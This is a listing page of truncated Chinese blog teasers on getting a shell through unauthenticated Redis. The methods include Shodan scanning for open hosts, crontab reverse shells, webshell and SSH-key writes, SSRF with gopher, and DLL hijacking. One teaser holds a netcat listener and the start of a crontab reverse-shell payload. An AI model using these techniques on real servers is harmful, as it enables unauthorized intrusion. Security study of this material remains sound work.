问题背景： php读取线上redis数据，经常不稳定，数据响应时有时无。 解决方法：多次读取，每次读取所有上一次没读出的数据，直到全部获取。本文实现用shell进行多次redis数据读取， 每次取出其中的有效值（对于我们的例子中，就是给key，能在redis上取得其value的为有效值，其他无效），并将无效值
转载
2023-08-17 10:54:52
94阅读
Redis默认端口是6379，可以通过zoomeye或者shodan来查找开放6379的端口，能收到很多对外开放6379端口的ip，而且绝大部门是未授权访问的，因为默认redis是未授权访问。但是还有一先决条件是该ip开放web服务，也就是开放如常见的80端口等，满足这两个条件你就有可能getshell。但是还有最麻烦的一件事是，你必须要知道网站web路径。这边只能靠网站报错泄漏路径，phpinf
转载
2023-05-25 16:36:05
192阅读
# Redis怎么拿Shell
## 引言
Redis是一个高性能的键值数据库，被广泛应用于缓存、消息队列和实时数据处理等场景。但在某些情况下，Redis可能被滥用，以至于攻击者能够通过Redis获取系统的Shell访问权限。本文将详细探讨Redis如何被滥用以取得Shell的过程，并展示相关的代码示例和防范措施。
## Redis的基本架构
Redis是基于内存的数据库，操作非常快。其基
原创
2024-09-04 05:07:21
49阅读
在我以往对 redis 服务的渗透经验中总结了以下几点可以 getshell 的方法。写文件Windows开机自启动目录LinuxcrontabSSH keywebshell反序列化java 反序列化jacksonfastjsonjdk/Hessian 反序列化python 反序列化php 反序列化主从复制 RCELua RCE下面我会逐一对这几种redis getshell的方法展开讲解写文件写
转载
2023-09-01 23:45:10
17阅读
文章目录1.利用redis备份写定时任务反弹shell2.利用备份写入webshell3.利用备份上传公钥，实现服务器免密登录4.清理痕迹，还原设置环境5.系列文章地址 1.利用redis备份写定时任务反弹shell原理：利用redis备份功能进行文件操作开始前可以做个备份，实际攻击中最好先执行config get dir 记清楚原来备份路径，方便还原擦除痕迹 利用redis-cli -h 目标
转载
2023-09-23 12:48:11
197阅读
前言参考文章 https://paper.seebug.org/1169 Redis是什么Redis是一款基于键值对的NoSQL数据库，它的值支持多种数据结构常见方法1、通过向Web目录中写webshell的方式进行getshell2、通过写SSH key的方式进行getshell3、通过写corntab的方式进行getshellSSH Keylinux 系统使用 ssh 的用户目录下都会有一个
转载
2023-08-05 18:12:57
486阅读
# Redis DLL劫持拿Shell
## 1. 整体流程
下面是实现Redis DLL劫持拿Shell的流程表格：
| 步骤 | 描述 |
| --- | --- |
| 1 | 寻找一个Redis应用程序可以加载的DLL目录 |
| 2 | 创建恶意的DLL文件，并将其放置在Redis可加载的DLL目录中 |
| 3 | 启动Redis应用程序，加载恶意DLL文件 |
| 4 | 当R
原创
2023-10-27 04:43:03
139阅读
# 如何实现“redis 未授权拿shell”
## 引言
在网络安全领域中，未授权访问是一种常见的类型。Redis是一款流行的开源内存数据库，然而，在配置不当的情况下，Redis可能暴露在公网上，并且未经授权的访问者可以利用此获得服务器的shell权限。本文将介绍如何实现“redis 未授权拿shell”，以及如何避免此。
## 流程图
```mermaid
flowchart
原创
2024-02-04 05:27:07
80阅读
SSRF+Redis未授权getshell1.前言当一个网站具有ssrf漏洞，如果没有一些过滤措施，比如没过滤file协议，gophere协议，dict等协议，就会导致无法访问的内网服务器信息泄露，甚至可以让攻击者拿下内网服务器权限2.文章主要内容这里就不讲file协议去获取内网服务器的信息了，也不讲dict协议原理，这些直接百度了解即可，直接就介绍如何利用gopher协议通过SSRF和Redis
转载
2024-08-02 21:41:38
13阅读
一、介绍1.Redis数据库Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。2.漏洞介绍Redis因配置不当可以导致未授权访问，被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式，在特定条件下，如果Redis以root
转载
2023-11-21 21:31:40
9阅读
前言：当我们接到一个授权渗透测试的时候，常规漏洞如注入、文件上传等尝试无果后，扫描端口可能会发现意外收获。知己知彼乃百战不殆，Redis介绍：简单来说 redis 就是一个Key-Value类型的数据库， redis 所有数据全部在内存中进行操作，并且它可以将内存中的数据定期存储在磁盘中，并且支持保存多种数据结构(String、hash、list等)。运筹帷幄之中，Redis漏洞：1、未授权访问漏
转载
2023-08-03 14:11:23
14阅读
# 如何实现“windows redis 未授权拿shell”
## 一、流程
| 步骤 | 操作 |
| --- | --- |
| 1 | 查找未授权访问的 Redis 服务 |
| 2 | 利用 Redis 未授权漏洞写入恶意代码 |
| 3 | 获取 shell |
## 二、具体步骤
### 步骤一：查找未授权访问的 Redis 服务
首先我们需要使用工具来扫描网络中存在的未授
原创
2024-02-24 05:31:37
64阅读
方法一、利用计划任务执行命令反弹shell在redis以root权限运行时可以写crontab来执行命令反弹shell先在自己的服务器上监听一个端口：nc -lvnp 7999然后执行命令:root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /de
转载
2023-05-25 13:17:18
302阅读
0x01 什么是Redis未授权访问漏洞
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问&nbs
转载
2024-06-20 20:12:59
12阅读
一、介绍redis未授权访问Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。二、漏洞产生条件（1）redis绑定在
转载
2023-05-25 13:17:17
275阅读
# Redis非root权限运行拿shell实现指南
## 1. 简介
本文将指导一位刚入行的开发者如何实现在非root权限下运行Redis并获取shell。Redis是一个高性能的键值存储数据库，常用于缓存、消息队列等场景。在实际应用中，为了加强系统安全性，我们通常会以非root权限运行Redis。然而，在某些特殊情况下，我们需要获取shell权限进行进一步操作。本文将详细介绍实现步骤和相应
原创
2023-11-22 14:16:10
433阅读
redis未授权访问的利用方式漏洞原理： Redis<3.2默认情况下，会绑定在0.0.0.0:6379，如果没有进行采用相关的安全策略，比如添加防火墙黑白名单等等，这样会将Redis服务暴露在公网上。 如果在没有设置密码(默认为空)的情况下，会导致任意用户可以未授权访问Redis以及读取Redis的数据。攻击者利用Redis自身的提供的config命令，可以进行写文件操作，还可以将ssh公
转载
2023-09-30 23:20:29
36阅读
飞鸟游鱼原创
1.有备份，上传图片备份。如不能修改文件后缀名，可备份成1.asp/1.mdb或1.asa/1.mdb的形式
2.写入配置文件一句话木马，如果过滤了,(,)可尝试<%eval
request("value")%>来突破，例如
config.asp
转载
2010-08-10 22:36:04
537阅读
 
文章没什么意思，唯一亮点就在于dz后台拿shell，不过也全文贴过来吧，图片不全贴了麻烦，就贴2张。Blog：http://hi.baidu.com/zhenker这几天心情很烦躁，于是想找个黑客网站检测下，百度搜到了饭客网，论坛是DZ的，手中没0day,杯具，习惯性的用我自己的明小子扫下，看能扫到啥能利用的，扫了半天扫到了一个很有利用价值的文件如下图：上次跟小凯搞一个黑客站的时候
转载
精选
2010-11-16 16:36:35
855阅读
飞鸟游鱼原创
1.有备份，上传图片备份。如不能修改文件后缀名，可备份成1.asp/1.mdb或1.asa/1.mdb的形式
2.写入配置文件一句话木马，如果过滤了,(,)可尝试<%eval
request("value")%>来突破，例如
config.asp
转载
精选
2009-09-24 02:19:02
2174阅读
点赞
